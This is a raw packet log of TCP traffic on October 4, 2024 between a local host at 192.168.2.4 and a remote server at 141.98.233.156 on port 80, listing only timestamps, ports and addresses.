Oct 4, 2024 09:52:26.964721918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964737892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964756966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964768887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964791059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964799881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964812040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964832067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964848042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964864016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964893103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964898109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964926004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964929104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964942932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964961052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.964981079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.964992046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.965008974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.965023041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.965039968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.965053082 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.965073109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.965085030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.965101004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.965116978 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.965127945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.965148926 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.965163946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.965198994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.005589008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.005636930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.005673885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.005965948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.006273031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.006320000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.006352901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.006388903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.006500006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.006584883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.049628019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049675941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049729109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049761057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049778938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.049793005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049832106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049844027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.049864054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049880028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049896002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049904108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.049928904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049948931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.049962044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.049968004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.049984932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.049993992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050019979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050046921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050051928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050187111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050188065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050220966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050254107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050254107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050292015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050297976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050297976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050355911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050806999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050838947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050868988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050872087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050889969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050906897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050925016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050940990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050961018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.050971985 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.050992966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051004887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051021099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051038027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051059008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051069975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051086903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051103115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051119089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051135063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051151991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051167011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051187992 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051223040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051244974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051278114 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051304102 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051311016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051330090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051342964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051363945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051376104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051405907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051429033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051482916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051528931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051562071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051583052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051583052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051597118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051629066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051630020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051660061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051664114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051683903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051692963 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051726103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051726103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051743031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051758051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051784039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051790953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051806927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051824093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051850080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051856041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051887989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051904917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051919937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051923990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051949024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.051951885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051985979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.051985979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052006006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052018881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052042961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052051067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052074909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052083015 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052097082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052114964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052131891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052171946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052515984 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052550077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052581072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052581072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052601099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052613020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052638054 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052644968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052664042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052678108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052697897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052709103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052726984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052742004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052761078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052773952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052805901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052805901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052838087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052839041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052855968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052871943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052891970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052905083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052927971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052938938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052963018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.052969933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.052995920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053003073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053011894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053035975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053064108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053067923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053082943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053098917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053123951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053132057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053148031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053185940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053524971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053556919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053580999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053590059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053611040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053652048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053721905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053755045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053782940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053785086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053802967 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053818941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053837061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053858042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053874016 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053891897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053911924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053924084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053955078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.053956032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053972960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.053987026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054006100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054018021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054030895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054047108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054073095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054080009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054105997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054114103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054137945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054145098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054172993 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054177046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054194927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054209948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054229975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054259062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054600954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054632902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054663897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054667950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054687977 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054696083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054709911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054728031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054748058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054759979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054781914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054792881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054812908 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054825068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054836035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054857016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054881096 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054894924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054915905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054925919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054940939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054959059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.054984093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.054991961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.055003881 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.055023909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.055043936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.055058956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.055079937 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.055144072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.094641924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.094690084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.094723940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.094758034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.094764948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.094790936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.094799042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.094820976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.094824076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.094855070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.094861031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.094878912 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.094909906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.137962103 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138005018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138062954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138098001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138132095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138165951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138180017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138211966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138231039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138253927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138303995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138449907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138484001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138501883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138518095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138549089 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138551950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138581038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138583899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138606071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138641119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138650894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138676882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138688087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138710022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138725042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138742924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138751030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138777018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138788939 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138811111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138823032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138861895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138878107 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138899088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138912916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138938904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.138952971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.138988018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139008999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139040947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139072895 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139060974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139106035 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139115095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139115095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139138937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139168024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139170885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139200926 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139205933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139220953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139261007 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139352083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139404058 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139422894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139440060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139468908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139477015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139497995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139506102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139517069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139538050 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139559984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139588118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139589071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.139630079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.139638901 CEST	49745	80	192.168.2.4	141.98.233.156
